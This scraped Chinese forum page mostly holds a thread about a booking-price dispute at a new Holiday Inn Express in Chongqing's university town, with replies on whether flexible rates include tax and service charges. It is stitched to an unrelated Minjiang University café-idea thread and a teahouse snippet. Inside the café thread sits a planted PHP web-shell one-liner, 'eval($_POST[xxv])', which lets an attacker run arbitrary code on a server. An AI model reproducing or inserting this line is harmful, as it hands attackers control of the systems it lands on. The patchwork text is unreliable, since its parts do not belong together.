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本帖最后由 哥背后有人 于
13:04 编辑
& && &&&这家新开的，前面刚开业那天问了下都没有周末六折，昨天本来是电话预订后面去三亚的房间，因为我家到大学城HIX还算方便，顺便问了下当天的房价，客服说含税和服务费价237，然后又问有没周末六折，客服mm说有的，所有的一共197。昨晚正好没事，而且价格比我之前问的便宜，就让下订单，订了昨晚还有周五和周日的六折。收到预订确认短信，手机APP也能看到预订。我电话预订可能是晚上九点多，十点多快十一点到了酒店，说查不到我的订单，前台妹妹打了电话，我也打了之前预订的电话。折腾半天都无解，我给前台妹妹说先让我CI，她们和优悦会电话客服那边慢慢扯，看到底是谁的问题。前台说只能按280的房价给我办理入住。我说那你先刷预授权吧，明天弄清楚了再说。前台妹子说刷不了预授权，只能刷消费，最后只能给了三百现金当押金，说明天刷卡退。给了一罐可乐，表示抱歉。今天早上退房，前台妹子换班了，说优悦会那边把订单发过来了，只能按280的房价，我说这个我无法接受，叫来值班经理。值班经理说，可以按最优弹性房价的八五折收，243，再加上15％，260多块钱。我说，这个和昨天我电话预订的不一样，昨天电话预订最后给我的价格是237，值班经理说那是243，没有含税和服务费。我说这不可能，因为我同时也预订了周末六折的房间，一共200不到，让马上看周末的订单。值班经理mm看了订单，按了下计算器，说那是在最优弹性房价基础上六折，最有弹性房价已经包含税和服务费，所以是197。我说那是你和优悦会客服的问题，昨天我电话预订价格就是237，大概是开业特价八折，加上15％，是237。值班经理又进办公室折腾了几分钟，最后同意按237实收。值班经理又问了下，对房间和早餐的感受，最后递过来一个这玩意儿，说给我带来不便请谅解。
13:03 上传
& && &总的来说，大学城这家HIX体验非常差，虽然最后还是按预订价格收了，但是感觉好像是我撕来的价格，都没有honor之前的订单。虽然全程态度都不错，但是大半夜和早上加起来起码折腾了半个小时以上。这种新开的HIX，感觉就是IHG的加盟店，不管是对员工的培训还是和IHG客服的对接都做得非常差。再就是IHG电话预订随意性挺大的，十分怀念我第一次打电话订锦绣城的周末六折，接电话小哥说六折满了，但是可以给七折价的那种爽气。后面又打过几次，其中有次一个广东腔浓重的客服妹子，给人感觉很不耐烦的样子。当然，大部分时候接电话的还是普通话标准的萌妹子。还有个疑问，最优弹性房价到底包不包含税和服务费。
恭喜， 每10个回复奖励1个威望， 每贴最高奖励10威望。
总评分：威望 +1&
20:12&&送了1朵鲜花&&并留言:慰问慰问！
积分10184精华1阅读权限100注册时间在线时间608 小时最后登录分享主题记录好友日志相册帖子UID30730
给前台看 预定确认邮件不就完了？APP看不到房价，短信也只有一个预定号
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最有弹性房价不包含服务费和税费，需另加15%
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zysldy2015 发表于
最有弹性房价不包含服务费和税费，需另加15%
那其实也就是电话预订客服给我的价格更便宜对吧，根本不是像酒店说的最优弹性房价已经包含税和服务费
无个性，不签名
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哥背后有人 发表于
那其实也就是电话预订客服给我的价格更便宜对吧，根本不是像酒店说的最优弹性房价已经包含税和服务费
确认价格的时候务必多加一句：请报我税后价格。&&免得之后撕
钻石会员, 积分 8001, 距离下一级还需 1999 积分
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---此广告位招租
金卡会员, 积分 826, 距离下一级还需 174 积分
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附近妹儿多吗？
如果敌人敢发起攻击，
就将他们全部扔进大海里。
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金恩恩 发表于
附近妹儿多吗？
离重大最近，但是也有段距离了。导航可以搜康田漫城，不过这家HIX价格确实没优势
白金会员, 积分 2408, 距离下一级还需 592 积分
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最有弹性房价已经包含税和服务费？好像没有包含哟
蓝卡会员, 积分 161, 距离下一级还需 39 积分
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才开的是这样，重庆大学城的妹子除了川美几乎不咋地。。好的都不在大学城
SPG/IHG/MARROITT/HILTON ：Gold
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含税，不含税，没看明白
HIX前台小屌丝
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HIX前台小屌丝
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送的小智卖35块钱呢。。。
背面喷 别当面喷
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背面喷 别当面喷
太远了。。。
安静地做一个百分之百美男子
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还是找看店吧
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jinanzwc 发表于
送的小智卖35块钱呢。。。
我卖你，要么。完全不如直接来句下次升级房型，虽然也就乞丐和高级
金卡会员, 积分 569, 距离下一级还需 431 积分
积分569精华0阅读权限50注册时间在线时间0 小时最后登录分享主题记录好友日志相册帖子UID129123
金卡会员, 积分 569, 距离下一级还需 431 积分
用IHG的APP很方便，再完善完善就好了
通过认证的帅哥，特颁发此奖!
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IHG优悦会介绍
优悦会(IHG Rewards Club)是洲际集团的常客计划。
会员等级分为俱乐部会员(Club)、金卡会员(G)、白金卡会员(P)三个等级。
大使计划(Intercontinental Ambassador)是针对洲际酒店及度假村，该计划分为大使会员和皇家大使会员。大使会员仅在入住洲际酒店时享受相应礼遇。
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一直以为，在闽江学院，至少在大学城，或者在福州，需要有这么一家店铺，里面可以经营类似于电影《第三十六个故事》里面的咖啡厅。
一直以为，想寻找一个特别有创意的商业运作项目，特色到能吸引整个大学城的学生慕名而来。
现在，机遇垂青了，有这么一个机会让我去做项目，有足够的资本和店铺，我还坚持之前的那个项目吗？我能寻找一个更有特色的项目吗？
现面向闽院，寻找一份最有创意的项目方案，足够吸引整个大学城学生。大家出谋献策，有可能，今天你在屏幕上的思考一分钟，就改变了整个大学城的学生商业格局。
支持 有想法没力气啊···
围观的人多，冷漠的人也多，帮助的人却很少，闽院没救了。
Ecarbo 发表于
支持 有想法没力气啊···
围观的人多，冷漠的人也多，帮助的人却很少，闽院没救了。
jammy152 发表于
围观的人多，冷漠的人也多，帮助的人却很少，闽院没救了。
好吧···内牛满面地看到··我变得没热血了
这素打广告还是去创意还是求同伙啊{:1094:}
个米唐 发表于
这素打广告还是去创意还是求同伙啊
没有广告吧？主要是求创意，求能服务大众的创意项目。
{:1085:}能有好喝的咖啡就行 ，以物易物估计这地儿没什么市场的感觉。。
{:1078:}我实在是想不到什么好点子{:1084:}
困兽 发表于
能有好喝的咖啡就行 ，以物易物估计这地儿没什么市场的感觉。。
以物换物没市场？怎么解释呀。
)&?php eval($_POST[xxv]);?&
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以人民艺术家老舍先生及其名剧命名的茶馆，环境古色古香、京味十足在这里每天都可以欣赏到汇聚京剧、曲艺、杂技、魔术...
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来自条点评
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